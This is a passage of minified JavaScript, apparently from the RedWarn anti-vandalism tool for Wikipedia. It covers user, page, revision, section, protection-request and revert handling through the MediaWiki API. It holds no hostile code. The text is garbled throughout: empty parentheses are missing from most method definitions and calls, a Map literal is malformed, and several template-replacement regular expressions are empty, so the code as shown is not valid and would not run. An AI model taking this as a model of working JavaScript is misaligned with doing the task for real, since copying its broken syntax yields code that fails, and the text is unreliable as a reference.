i.values)t.put(e)})),o.default.i.cacheTracker.put({id:"groupCache",timestamp:Date.now})}catch(e){s.default.error("Failed to save to group cache. Skipping...",e)}return i}));if(u.groups)return u.groups;{const t=yield o.default.i.cacheTracker.get("groupCache"),i=(yield o.default.i.groupCache.getAll).reduce(((e,t)=>(e[t.name]=t,e)),{});return null==t||t.timestamp{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ClientUser=void 0;const n=i(655),r=i(4802),a=n.__importDefault(i(5310));class o extends r.UserAccount{constructor{if(super(mw.user.getName),this.clientUserCache={},null!=o.i)throw"Attempt made to reconstruct existing ClientUser."}get redwarnConfigPage{var e;return null!==(e=this._redwarnConfigPage)&&void 0!==e?e:this._redwarnConfigPage=this.getUserSubpage("redwarnConfig.js")}init{return n.__awaiter(this,void 0,void 0,(function*{a.default.debug("Initializing ClientUser..."),yield Promise.all([this.getGroups])}))}getGroups{return n.__awaiter(this,void 0,void 0,(function*{return this.clientUserCache.groups||(this.clientUserCache.groups=yield mw.user.getGroups),this.clientUserCache.groups}))}inGroup(e){const t=this.clientUserCache.groups;return!!t.includes(e)||"confirmed"===e&&t.includes("autoconfirmed")}}t.ClientUser=o,o.i=new o},6207:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.GenderDict=void 0,t.GenderDict=new Map("male","he/him"],["female","she/her"],["unknown","they/them")},960:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.GroupArray=t.GroupsFromNames=void 0;const n=i(4802);t.GroupsFromNames=function(e){const t=new r;for(const i of e)"*"!==i&&(n.MediaWikiAPI.groups.has(i)?t.push(n.MediaWikiAPI.groups.get(i)):t.push({name:i}));return t};class r extends Array{includesGroup(e){return this.filter((t=>t.name===e)).length>0}}t.GroupArray=r},1762:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWiki=void 0;const n=i(655),r=n.__importDefault(i(7327)),a=n.__importDefault(i(8001)),o={version:=>-1!==r.default(mw.config.get("wgVersion"),"1.30.0"),user:=>null!==mw.user.getName,skin:=>"minerva"!==mw.config.get("skin")};class s{static runMWChecks{const e=[];for(const t of Object.keys(o))o[t]||e.push(t);return e}static loadDependencies{return n.__awaiter(this,void 0,void 0,(function*{yield mw.loader.using("mediawiki.language.months")}))}static mwCheck{const e=s.runMWChecks;if(e.length>0){const t=document.createElement("div");t.innerText=a.default.t("common:redwarn.init.error");const i=document.createElement("ul");for(const t of e){const e=document.createElement("li");e.innerText=a.default.t(`common:redwarn.init.mwChecks.${t}`),i.appendChild(e)}return t.appendChild(i),mw.notify(t),!1}return!0}}t.MediaWiki=s},8771:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Page=void 0;const n=i(655),r=i(4802),a=n.__importDefault(i(6724)),o=n.__importDefault(i(8001)),s=i(2303),l=i(8910),d=n.__importDefault(i(3410)),c=n.__importDefault(i(8542)),u=n.__importDefault(i(9618)),p=n.__importDefault(i(7888));class g{constructor(e){e&&Object.assign(this,e)}get url{const e=this.getIdentifier;return"number"==typeof e?l.url(a.default.wikiIndex,{curid:e}):this.articleURL}get articleURL{return a.default.articlePath(this.title.getPrefixedText)}static fromID(e){return new g({pageID:e})}static fromTitle(e){var t;const i="string"==typeof e?new mw.Title(e):e;return null!==(t=g.pageIndex[`${i}`])&&void 0!==t?t:g.pageIndex[`${i}`]=new g({title:i,namespace:i.namespace})}static fromIDAndTitle(e,t){var i;const n="string"==typeof t?new mw.Title(t):t;return g.pageIndex[`${n}`]&&null==g.pageIndex[`${n}`].pageID&&(g.pageIndex[`${n}`].pageID=e),null!==(i=g.pageIndex[`${n}`])&&void 0!==i?i:g.pageIndex[`${n}`]=new g({pageID:e,title:n,namespace:n.namespace})}static isSpecialPage(e){return e.isNamed||null!=e.namespace?(e.namespace||e.title.getNamespaceId)<0:e.getLatestRevision.then((e=>g.isSpecialPage(e.page)))}static isUserspacePage(e){return e.isNamed?(2==e.namespace?"user":3==e.namespace&&"talk")||!1:null==e.title?e.getLatestRevision.then((e=>g.isUserspacePage(e.page))):void 0}static getLatestRevision(e,t){var i,a;return n.__awaiter(this,void 0,void 0,(function*{const n=yield r.MediaWikiAPI.get(Object.assign(Object.assign({action:"query",format:"json",prop:"revisions"},e.getAPIIdentifier),{rvprop:["ids","comment","user","timestamp","size","content"],rvslots:"main",rvexcludeuser:null!==(a=null===(i=null==t?void 0:t.excludeUser)||void 0===i?void 0:i.username)&&void 0!==a?a:void 0}));if(n.query.pages[-1]){if(n.query.pages[-1].missing)throw new s.PageMissingError({page:e});if(n.query.pages[-1].invalid)throw new s.PageInvalidError({page:e,reason:n.query.pages[-1].invalidreason});throw new Error("Invalid page ID or title.")}const o=Object.values(n.query.pages)[0];return e.title||(e.title=o.title),e.namespace||(e.namespace=o.ns),o.revisions&&0!==o.revisions.length?e.latestCachedRevision=r.Revision.fromPageLatestRevision(o.revisions[0].revid,n):null}))}isNamed{return null!=this.title}getIdentifier(e=!0){var t,i;return this.pageID&&!e?this.pageID:this.pageID||e?this.title&&e?this.title:!this.title&&e?null!==(i=this.pageID)&&void 0!==i?i:null:void 0:null!==(t=this.title)&&void 0!==t?t:null}getAPIIdentifier{const e=this.getIdentifier;return{["number"==typeof e?"pageids":"titles"]:`${e}`}}getLatestRevision(e={}){return n.__awaiter(this,void 0,void 0,(function*{return(e.forceRefresh||null==this.latestCachedRevision)&&(this.latestCachedRevision=yield g.getLatestRevision(this,e)),this.latestCachedRevision}))}getSections{return n.__awaiter(this,void 0,void 0,(function*{return c.default.getSections(this)}))}hasLatestRevision{return!!this.latestCachedRevision}getLatestRevisionNotByUser(e){return n.__awaiter(this,void 0,void 0,(function*{return this.getLatestRevision({excludeUser:r.User.fromUsername(e)})}))}navigate{d.default(this.url)}navigateToLatestRevision{d.default(u.default(a.default.wikiIndex,{diff:0,title:this.title}))}openInNewTab{open(this.url)}getSubpage(e){return g.fromTitle(`${this.title.getPrefixedText}/${e}`)}edit(e,t){var i;return n.__awaiter(this,void 0,void 0,(function*{const n=this.getIdentifier;let a,l=null;if(t.section){t.section instanceof c.default&&t.section.revision===this.latestCachedRevision?l=t.section:t.section instanceof c.default&&(t.section=t.section.title),null==this.sections&&(yield this.getSections);const i=this.sections[0].revision,n=this.sections;if(null==l){if(!i&&"number"==typeof t.section)throw new s.PageMissingError({page:this});if("number"==typeof t.section){if(l=n.filter((e=>e.index===t.section))[0],null==l)throw new s.SectionIndexMissingError({sectionId:t.section,revision:i})}else l=n.filter((e=>e.title===t.section))[0],null==l&&(e=e.trimLeft)}}switch(t.mode){case"append":a={appendtext:e};break;case"prepend":a={prependtext:e};break;default:a={text:e}}yield r.MediaWikiAPI.postWithEditToken(Object.assign(Object.assign(Object.assign({action:"edit",format:"json",["number"==typeof n?"pageid":"title"]:`${n}`,summary:`${null!==(i=t.comment)&&void 0!==i?i:""} ${o.default.t("common:redwarn.signature")}`,tags:p.default.c.meta.tag},t.baseRevision?{baserevid:t.baseRevision.revisionID}:{}),t.section?l?{section:l.index}:{section:"new",sectiontitle:t.section}:{}),a))}))}appendContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{yield this.edit(e,Object.assign({mode:"append"},t))}))}prependContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{yield this.edit(e,Object.assign({mode:"prepend"},t))}))}}t.Page=g,g.pageIndex={}},7117:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Revision=void 0;const n=i(655),r=i(4802),a=n.__importDefault(i(3410)),o=n.__importDefault(i(5310)),s=n.__importDefault(i(8542)),l=n.__importDefault(i(9618)),d=n.__importDefault(i(6724));class c{constructor(e){e&&Object.assign(this,e)}static fromID(e,t){var i;return null!==(i=c.revisionIndex[e])&&void 0!==i?i:c.revisionIndex[e]=new c(Object.assign({revisionID:e},null!=t?t:{}))}static fromIDToPopulated(e){var t;return n.__awaiter(this,void 0,void 0,(function*{return yield c.populate(null!==(t=c.revisionIndex[e])&&void 0!==t?t:c.revisionIndex[e]=new c({revisionID:e}))}))}static fromIDAndText(e,t){var i;const n=null!==(i=c.revisionIndex[e])&&void 0!==i?i:c.revisionIndex[e]=new c({revisionID:e});return n.content=t,n}static fromPageLatestRevision(e,t){var i,n;const a=Object.values(t.query.pages)[0],o=a.revisions[0];return c.revisionIndex[e]=new c({revisionID:e,parentID:o.parentid,page:r.Page.fromIDAndTitle(a.pageid,a.title),comment:o.comment,user:r.User.fromUsername(o.user),time:new Date(o.timestamp),size:o.size,content:null===(n=null===(i=o.slots)||void 0===i?void 0:i.main)||void 0===n?void 0:n.content})}static populate(e){var t,i;return n.__awaiter(this,void 0,void 0,(function*{const n=["ids"];if(e.comment||n.push("comment"),e.user||n.push("user"),e.time||n.push("timestamp"),e.size||n.push("size"),n.length>0){const a=yield r.MediaWikiAPI.get({action:"query",format:"json",prop:"revisions",revids:`${e.revisionID}`,rvprop:n,rvslots:"main"});if(a.query.badrevids)throw new Error("Invalid revision ID");const o=Object.values(a.query.pages)[0],s=o.revisions[0];e.page=r.Page.fromIDAndTitle(o.pageid,o.title),e.content=s.revid,s.comment&&(e.comment=s.comment),s.user&&(e.user=r.User.fromUsername(s.user)),s.timestamp&&(e.time=new Date(s.timestamp)),s.size&&(e.size=s.size),(null===(i=null===(t=s.slots)||void 0===t?void 0:t.main)||void 0===i?void 0:i.content)&&(e.content=s.slots.main.content)}return e}))}getContent{var e,t,i,a,o;return n.__awaiter(this,void 0,void 0,(function*{if(this.content)return this.content;const n=yield r.MediaWikiAPI.get({action:"query",format:"json",prop:"revisions",revids:`${this.revisionID}`,rvprop:"content",rvslots:"main"}),s=Object.values(n.query.pages)[0];return this.content=null!==(o=null===(a=null===(i=null===(t=null===(e=s.revisions)||void 0===e?void 0:e[0])||void 0===t?void 0:t.slots)||void 0===i?void 0:i.main)||void 0===a?void 0:a.content)&&void 0!==o?o:null,this.content}))}getSections{return n.__awaiter(this,void 0,void 0,(function*{return s.default.getSections(this)}))}isPopulated{return!(null==this.page||null==this.comment||null==this.parentID||null==this.user||null==this.time||null==this.size||null==this.content)}populate{return n.__awaiter(this,void 0,void 0,(function*{return c.populate(this)}))}getLatestRevision(e){return n.__awaiter(this,void 0,void 0,(function*{return this.page||(o.default.warn("Page of revision was not set. This is inefficient!",{stack:new Error("Inefficient latest revision get.")}),yield this.populate),this.page.getLatestRevision(e)}))}isLatestRevision{return n.__awaiter(this,void 0,void 0,(function*{return(yield this.getLatestRevision).revisionID===this.revisionID}))}navigate{a.default(r.MediaWikiURL.getDiffUrl(this.revisionID))}navigateToLatestRevision{a.default(l.default(d.default.wikiIndex,{diff:0,title:`${this.page.title}`}))}appendContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{this.page||(o.default.warn("Page of revision was not set. This is inefficient!",{stack:new Error("Inefficient revision content append.")}),yield this.populate),this.page.appendContent(e,Object.assign({mode:"append",baseRevision:this},t))}))}}t.Revision=c,c.revisionIndex={}},8542:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(7117),a=i(8771),o=i(7144);class s{constructor(e,t){this.toc={level:t.toclevel,number:t.number},this.level=t.level,this.index=+t.index,this.title=t.line,this.revision=e,this.byteoffset=t.byteoffset,this.anchor=t.anchor}static getSections(e){return n.__awaiter(this,void 0,void 0,(function*{if(e.sections)return e.sections;const t=yield o.MediaWikiAPI.get(Object.assign(Object.assign({action:"parse",format:"json"},e instanceof a.Page?{page:`${e.title}`}:{oldid:e.revisionID}),{prop:["sections","revid",...e instanceof r.Revision&&e.content?[]:["wikitext"]]})).catch((t=>{let i;if(e instanceof a.Page)i={page:e};else{if(!(e instanceof r.Revision))throw"Impossible else";i={revision:e}}throw o.MediaWikiAPI.error(t,i)}));if(null==t.parse||null==t.parse.sections)throw new Error("Invalid request.");e instanceof a.Page?(e.title||(e.title=t.parse.title),e.pageID||(e.pageID=t.parse.pageid),e.latestCachedRevision=r.Revision.fromIDAndText(t.parse.revid,t.parse.wikitext)):(e.page.title||(e.page.title=t.parse.title),e.page.pageID||(e.page.pageID=t.parse.pageid),e.content||(e.content=t.parse.wikitext));const i=[new s(e instanceof r.Revision?e:e.latestCachedRevision,{toclevel:0,level:"2",line:null,number:"0",index:"0",fromtitle:e instanceof r.Revision?e.page.title:e.title,byteoffset:0,anchor:"top"})];for(const n of t.parse.sections)i.push(new s(e instanceof a.Page?e.latestCachedRevision:e,n));return e.sections=i,e instanceof a.Page&&(e.latestCachedRevision.sections=i),i}))}hasSubsections{for(const e of this.revision.sections)if(!(e.index<=this.index))return e.index>this.index&&e.level>this.level;return!1}getContent(e=!0){let t=null;for(const i of this.revision.sections)if(!(i.index<=this.index)){if(e&&i.index>this.index&&i.level===this.level){t=i;break}if(i.index>this.index){t=i;break}}return this.revision.content.substring(this.byteoffset,t?t.byteoffset:void 0)}setContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{this.revision.page.edit(e,Object.assign({mode:"replace",baseRevision:this.revision,section:this},t))}))}appendContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{this.revision.page.edit(e,Object.assign({mode:"append",baseRevision:this.revision,section:this},t))}))}prependContent(e,t){return n.__awaiter(this,void 0,void 0,(function*{this.revision.page.edit(e,Object.assign({mode:"prepend",baseRevision:this.revision,section:this},t))}))}}t.default=s},2152:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UserIP=t.UserAccount=t.User=void 0;const n=i(655),r=n.__importDefault(i(5958)),a=n.__importDefault(i(6237)),o=i(4802),s=n.__importDefault(i(8001)),l=i(2303),d=i(8910),c=i(6695);class u{constructor(e,t){this.username=e,this._userSubpages={},this._userTalkSubpages={},t&&Object.assign(this,t)}get userPage{var e;return null!==(e=this._userPage)&&void 0!==e?e:this._userPage=o.Page.fromTitle(`User:${this.username}`)}get talkPage{var e;return null!==(e=this._talkPage)&&void 0!==e?e:this._talkPage=o.Page.fromTitle(`User talk:${this.username}`)}static fromUsername(e,t){return new(d.isIPAddress(e)?g:p)(e,t)}static fromUsernameToPopulated(e){return n.__awaiter(this,void 0,void 0,(function*{const t=(d.isIPAddress(e)?g:p).fromUsername(e);return yield t.populate}))}static populate(e){return n.__awaiter(this,void 0,void 0,(function*{const t=(yield o.MediaWikiAPI.get({action:"query",format:"json",list:["usercontribs"],uclimit:1,ucuser:e.username})).query.usercontribs[0];return e.latestEdit=t?o.Revision.fromID(t.revid,{user:e,page:o.Page.fromIDAndTitle(t.pageid,t.title),parentID:t.pageid,time:new Date(t.timestamp),comment:t.comment,size:t.size}):null,e}))}isPopulated{return!(void 0===this.latestEdit)}populate{return n.__awaiter(this,void 0,void 0,(function*{return u.populate(this)}))}getWarningAnalysis(e=!1){return n.__awaiter(this,void 0,void 0,(function*{if(!this.warningAnalysis||e){const e=this.talkPage;try{const t=yield e.getSections,i=e.latestCachedRevision.content;if(i&&0!==i.length){const i=t.filter((e=>e.title===a.default))[0];if(i){const t=i.getContent;this.warningAnalysis={level:c.highestWarningLevel(t),notices:t,page:e}}else this.warningAnalysis={level:o.WarningLevel.None,notices:null,page:e}}else this.warningAnalysis={level:o.WarningLevel.None,notices:null,page:e}}catch(t){if(!(t instanceof l.PageMissingError))throw t;this.warningAnalysis={level:o.WarningLevel.None,notices:null,page:e}}}return this.warningAnalysis}))}appendToUserTalk(e,t){return n.__awaiter(this,void 0,void 0,(function*{if(null==this.username||"null"==`${this.username}`.toLowerCase||"undefined"==`${this.username}`.toLowerCase)return void r.default.Toast.quickShow({content:s.default.t("ui:toasts.userUndefined")});let i=null;try{yield this.talkPage.getSections,i=this.talkPage.latestCachedRevision}catch(e){l.PageMissingError}i&&t.blacklist&&i.content.includes(t.blacklist.target)?r.default.Toast.quickShow({content:t.blacklist.message}):this.talkPage.appendContent(e,t)}))}getUserSubpage(e){var t;return null!==(t=this._userSubpages[e])&&void 0!==t?t:this._userSubpages[e]=this.userPage.getSubpage(e)}getUserTalkSubpage(e){var t;return null!==(t=this._userTalkSubpages[e])&&void 0!==t?t:this._userTalkSubpages[e]=this.talkPage.getSubpage(e)}static warn(e){return n.__awaiter(this,void 0,void 0,(function*{const t={[o.WarningType.Tiered]:e.warnLevel,[o.WarningType.PolicyViolation]:5,[o.WarningType.SingleIssue]:0}[e.warning.type];yield e.targetUser.appendToUserTalk(`\r\n\r\n${e.warningText}`,{comment:s.default.t("mediawiki:summaries.warn",{context:t,reason:e.warning.name}),section:a.default})}))}}t.User=u;class p extends u{static fromUsername(e,t){return new p(e,t)}static fromUsernameToPopulated(e){return n.__awaiter(this,void 0,void 0,(function*{const t=p.fromUsername(e);return yield t.populate}))}static populate(e){const t=Object.create(null,{populate:{get:=>super.populate}});return n.__awaiter(this,void 0,void 0,(function*{const i=[];e.editCount||i.push("editcount"),e.registered||i.push("registration"),e.groups||i.push("groups"),e.gender||i.push("gender"),e.blocked||i.push("blockinfo");const n=e.getIdentifier,r=(yield o.MediaWikiAPI.get({action:"query",format:"json",list:["users"],usprop:i,["string"==typeof n?"ususers":"ususerids"]:n})).query.users[0];if(null!=r.missing)throw new Error("This user does not exist.");if(null!=r.invalid)throw new Error("The provided username is invalid.");return e.id||(e.id=r.userid),e.editCount||(e.editCount=r.editcount),e.registered||(e.registered=new Date(r.registration)),e.groups||(e.groups=o.GroupsFromNames(r.groups.filter((e=>"*"!==e)))),e.gender||(e.gender=r.gender),!e.blocked&&r.blockid?e.blocked={id:r.blockid,blocker:u.fromUsername(r.blockedby),reason:r.blockreason,time:new Date(r.blockedtimestamp),expiry:"infinite"!==r.blockexpiry&&new Date(r.blockexpiry),partial:!!r.blockpartial,creationBlocked:!!r.blocknocreate}:e.blocked||(e.blocked=!1),t.populate.call(this,e),e}))}isPopulated{return!(null==this.id||null==this.editCount||null==this.registered||null==this.groups||null==this.gender||null==this.blocked||void 0===this.latestEdit)}populate{return n.__awaiter(this,void 0,void 0,(function*{return p.populate(this)}))}getIdentifier(e=!1){var t,i;return this.username&&!e?this.username:this.username||e?this.id&&e?this.id:!this.id&&e?null!==(i=this.username)&&void 0!==i?i:null:void 0:null!==(t=this.id)&&void 0!==t?t:null}getPronouns{return n.__awaiter(this,void 0,void 0,(function*{return this.gender||(yield this.populate),o.GenderDict.get(this.gender)}))}getEditCount{return n.__awaiter(this,void 0,void 0,(function*{return this.editCount||(yield this.populate),this.editCount}))}}t.UserAccount=p;class g extends u{}t.UserIP=g},4802:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655);n.__exportStar(i(7144),t),n.__exportStar(i(2152),t),n.__exportStar(i(7366),t),n.__exportStar(i(6207),t),n.__exportStar(i(960),t),n.__exportStar(i(1762),t),n.__exportStar(i(8771),t),n.__exportStar(i(7117),t),n.__exportStar(i(3582),t),n.__exportStar(i(5045),t),n.__exportStar(i(1794),t),n.__exportStar(i(9187),t),n.__exportStar(i(8476),t),n.__exportStar(i(680),t),n.__exportStar(i(8141),t),n.__exportStar(i(9423),t),n.__exportStar(i(2163),t),n.__exportStar(i(5956),t)},2440:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isFlaggedRevsProtectionEntry=void 0,t.isFlaggedRevsProtectionEntry=function(e){return"_flaggedrevs"===e.type}},2163:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0})},5956:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ProtectionManager=void 0;const n=i(655),r=n.__importDefault(i(7888)),a=i(7144),o=i(4802),s=i(7688),l=n.__importDefault(i(8001)),d=n.__importDefault(i(5958)),c=i(8910);class u{static getProtectionInformation(e,t,i=!1){var o,s,l,d,c;return n.__awaiter(this,void 0,void 0,(function*{const p=Object.assign(e,{flaggedRevs:!1!==t});if(i&&u.protectionEntryCache.has(p))return u.protectionEntryCache.get(p);const g=[],f={};yield Promise.all([(=>n.__awaiter(this,void 0,void 0,(function*{f.protection=yield a.MediaWikiAPI.get(Object.assign(Object.assign({action:"query",prop:"info"},e.getAPIIdentifier),{inprop:"protection"}))}))),(=>n.__awaiter(this,void 0,void 0,(function*{var i,n,o;null!==(o=null===(n=null===(i=r.default.c)||void 0===i?void 0:i.protection)||void 0===n?void 0:n.flaggedrevs)&&void 0!==o&&o&&!1!==t&&(f.flaggedrevs=yield a.MediaWikiAPI.get({action:"query",list:"logevents",letype:"stable",letitle:e.title.getPrefixedText,lelimit:500}))})))]);const h=f.protection,m=Object.values(h.query.pages)[0];if(null==e.title&&(e.title=new mw.Title(m.title)),null==e.pageID&&(e.pageID=m.pageid),null!=m.protection&&m.protection.length>0)for(const e of m.protection)g.push(Object.assign(e,{expiry:"infinity"===e.expiry?e.expiry:new Date(e.expiry)}));if(null!==(l=null===(s=null===(o=r.default.c)||void 0===o?void 0:o.protection)||void 0===s?void 0:s.flaggedrevs)&&void 0!==l&&l&&!1!==t){const e=f.flaggedrevs.query.logevents;for(const t of Object.values(e)){if("reset"===t.action)break;if("modify"===t.action){const e=t.params.autoreview,i=t.params.expiry.replace(/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/g,"$1-$2-$3T$4:$5:$6Z");"infinity"!==i&&new Date(i)>new Date&&g.push({type:"_flaggedrevs",level:e,expiry:"infinity"===i?i:new Date(i)});break}if("config"===t.action){const e=null!==(d=t.params.autoreview)&&void 0!==d?d:Object.values(t.params).find((e=>e.startsWith("autoreview="))).slice(11),i=(null!==(c=t.params.expiry)&&void 0!==c?c:Object.values(t.params).find((e=>e.startsWith("expiry="))).slice(7)).replace(/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/g,"$1-$2-$3T$4:$5:$6Z");"infinity"!==i&&new Date(i)>new Date&&g.push({type:"_flaggedrevs",level:e,expiry:"infinity"===i?i:new Date(i)});break}}}return u.protectionEntryCache.set(p,g),g}))}static getProtectionReasons(e){var t,i,o;return n.__awaiter(this,void 0,void 0,(function*{let n=null!==(i=null===(t=r.default.c.protection)||void 0===t?void 0:t.reasons)&&void 0!==i?i:{};Array.isArray(n)&&(n={Uncategorized:n});for(const[e,t]of Object.entries(n))0===t.length&&delete n[e];if(0===Object.values(n).length){const t=(yield a.MediaWikiAPI.getMessage(["Protect-dropdown"],{amenableparser:!0,amtitle:null!==(o=null==e?void 0:e.title.getPrefixedText)&&void 0!==o?o:void 0}))["Protect-dropdown"].trim;let i="Uncategorized";for(const e of t.split("\n"))if(/^\*(?!\*)\s*/.test(e))i=e.slice(1).trim;else if(/^\*{2}\s*/.test(e)){const t=e.slice(2).trim;t.length>0&&(null==n[i]&&(n[i]=[]),n[i].push(t))}}return n}))}static buildRequest(e,t){var i,n,a,o,s,l;const d=0===e.duration?null===(n=null===(i=r.default.c.protection)||void 0===i?void 0:i.duration)||void 0===n?void 0:n.temporary:null===(o=null===(a=r.default.c.protection)||void 0===a?void 0:a.duration)||void 0===o?void 0:o.indefinite;return("prepend"!==t.method?"\n".repeat((null!==(s=t.extraLines)&&void 0!==s?s:0)+2):"")+t.template.replace(//g,e.page.title.getPrefixedText).replace(//g,d).replace(//g,e.level.name).replace(//g,c.capitalize(null==e.level.id?r.default.c.protection.unprotect.name:c.capitalize(`${d} ${e.level.name}`))).replace(//g,e.reason.length>0?e.additionalInformation.length>0?`${e.reason}. ${e.additionalInformation}`:`${e.reason}.`:e.additionalInformation)+("prepend"===t.method?"\n".repeat((null!==(l=t.extraLines)&&void 0!==l?l:0)+2):"")}static requestProtection(e){var t,i,a,c,p;return n.__awaiter(this,void 0,void 0,(function*{if(o.isProtectionRequestTarget(null===(t=r.default.c.protection)||void 0===t?void 0:t.requests)){const t=r.default.c.protection.requests;o.Page.fromTitle(t.page).edit(u.buildRequest(e,t),{section:null!==(i=t.section)&&void 0!==i?i:void 0,mode:null!==(a=t.method)&&void 0!==a?a:"append",comment:l.default.t("mediawiki:summaries.protection",{title:e.page.title.getPrefixedText})})}else{let t,i,n;const a=(yield u.getProtectionInformation(e.page,!0,!0)).filter((e=>"edit"===e.type&&null==e.source||"_flaggedrevs"===e.type));let g=null;if(0===a.length)g=!0;else if(null==e.level.id)g=!1;else if(r.default.c.protection.levels.forEach(((r,o)=>{for(const l of a)r.id===l.level&&(t=o,n="infinity"===l.expiry?s.ProtectionDuration.Indefinite:s.ProtectionDuration.Temporary),r.id===e.level.id&&(i=o)})),console.log(a),null!=t&&null!=i)g=t<i||t===i&&n<e.duration;else{const e=yield new d.default.Dialog({content:`${l.default.t("ui:protectionRequest.retarget.text")}`,actions:[{data:"decrease",text:l.default.t("ui:protectionRequest.retarget.decrease")},{data:"increase",text:l.default.t("ui:protectionRequest.retarget.increase")}]}).show;if(null==e)return;g="increase"===e}const f=g?r.default.c.protection.requests.increase:r.default.c.protection.requests.decrease;o.Page.fromTitle(f.page).edit(u.buildRequest(e,f),{section:null!==(c=f.section)&&void 0!==c?c:void 0,mode:null!==(p=f.method)&&void 0!==p?p:"append",comment:l.default.t("mediawiki:summaries.protection",{title:e.page.title.getPrefixedText})})}}))}}t.ProtectionManager=u,u.protectionEntryCache=new Map},7688:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ProtectionDuration=void 0,function(e){e[e.Temporary=0]="Temporary",e[e.Indefinite=1]="Indefinite"}(t.ProtectionDuration||(t.ProtectionDuration={}))},9423:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isProtectionRequestTarget=void 0,t.isProtectionRequestTarget=function(e){return"object"==typeof e&&"string"==typeof e.page&&"string"==typeof e.template}},3582:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Revert=t.isDiffIconContext=t.isHeadlessRevertContext=void 0;const n=i(655),r=n.__importDefault(i(8001)),a=i(7912),o=n.__importDefault(i(6724)),s=n.__importDefault(i(5958)),l=n.__importDefault(i(3410)),d=i(4802),c=n.__importDefault(i(5310)),u=n.__importDefault(i(7888)),p=i(2223),g=i(9052),f=i(2303);function h(e){return null!==e.prefilledReason}function m(e){return null!==e.reason}t.isHeadlessRevertContext=h,t.isDiffIconContext=m;class v{static isDiffPage{return!1===mw.config.get("wgDiffOldId")?"onlyrev":!!mw.config.get("wgDiffNewId")}static promptRestore(e,t){return n.__awaiter(this,void 0,void 0,(function*{const i=new s.default.InputDialog(Object.assign(Object.assign({},r.default.t("ui:restore")),{defaultText:null==t?void 0:t.defaultText})),n=yield i.show;null!==n&&v.restore(e,n,null==t?void 0:t.diffIcons)}))}static restore(e,t,i){return n.__awaiter(this,void 0,void 0,(function*{if(v.revertInProgress)return s.default.Toast.quickShow({content:"You cannot click on another icon while a revert or restore is ongoing."});document.addEventListener("keydown",v.revertCancelListener),v.revertInProgress=!0,i&&(i.onStartRestore(e),i.onRestoreStageChange(d.RestoreStage.Preparing)),e.isPopulated||e.populate,i&&i.onRestoreStageChange(d.RestoreStage.Details);const n=yield e.page.getLatestRevision({forceRefresh:!1});i&&i.onRestoreStageChange(d.RestoreStage.Restore);const a=yield d.MediaWikiAPI.postWithEditToken({action:"edit",pageid:e.page.pageID,summary:r.default.t("mediawiki:summaries.restore",{revID:e.revisionID,revUser:e.user.username,reason:t}),undo:n.revisionID,undoafter:e.revisionID,tags:u.default.c.meta.tag});if(a.edit)i&&i.onEndRestore;else{const e=d.MediaWikiAPI.error(a);c.default.error("Failed to restore revision.",e),s.default.Toast.quickShow({content:r.default.t("ui:toasts.restoreError")}),i&&i.onRestoreFailure(e)}i&&i.onRestoreStageChange(d.RestoreStage.Finished),document.removeEventListener("keydown",v.revertCancelListener)}))}static latestRevertTargetCheck(e,t=!0,i=!1){return n.__awaiter(this,void 0,void 0,(function*{null==e.page&&(yield e.populate);const n=yield e.getLatestRevision({forceRefresh:!1});return n.revisionID!==e.revisionID?i&&n.user===e.user&&n.parentID===e.revisionID?n:t?(l.default(d.MediaWikiURL.getDiffUrl(n.revisionID,n.parentID)),null):(s.default.Toast.quickShow({content:r.default.t("ui:toasts.newerRev")}),null):n}))}static preview({newRevision:e}){return n.__awaiter(this,void 0,void 0,(function*{const t=yield v.latestRevertTargetCheck(e);if(!t)return;const i=yield t.page.getLatestRevisionNotByUser(t.user.username);if(null==i)return void s.default.Toast.quickShow({content:"Can't find an earlier revision to revert to."});const n=d.MediaWikiURL.getDiffUrl(i.revisionID,+mw.util.getParamValue("diff"));l.default(n)}))}static promptRollbackReason(e,t){return n.__awaiter(this,void 0,void 0,(function*{yield v.latestRevertTargetCheck(e.newRevision);const i=new s.default.InputDialog(Object.assign(Object.assign({width:"40vw"},r.default.t("ui:rollback")),{defaultText:t}));return yield i.show}))}static extractReasonFromContext(e){if(h(e))return e.prefilledReason;if(m(e))return"string"==typeof e.reason?e.reason:e.reason.name;throw new Error("No reason was given for a revert.")}static pseudoRollback(e){return n.__awaiter(this,void 0,void 0,(function*{const{newRevision:t}=e,i=m(e)?e.diffIcons:null;t.isPopulated||t.populate,i&&i.onRevertStageChange(d.RevertStage.Details);const n=yield t.page.getLatestRevisionNotByUser(t.user.username);if(e.latestRevision=yield v.latestRevertTargetCheck(t,g.Configuration.Revert.redirectIfNotLatest.value,g.Configuration.Revert.ignoreSameUserLatest.value),null==e.latestRevision)return void(i&&i.onRevertFailure(new f.RevisionNotLatestError({revision:e.newRevision})));const o=r.default.t("mediawiki:summaries.revert",{username:t.user.username,targetRevisionId:n.revisionID,targetRevisionEditor:n.user.username,version:a.RW_VERSION_TAG,reason:v.extractReasonFromContext(e)});if(!v.revertInProgress)return void(i&&i.onEndRevert(!0));i&&i.onRevertStageChange(d.RevertStage.Revert);const l=yield 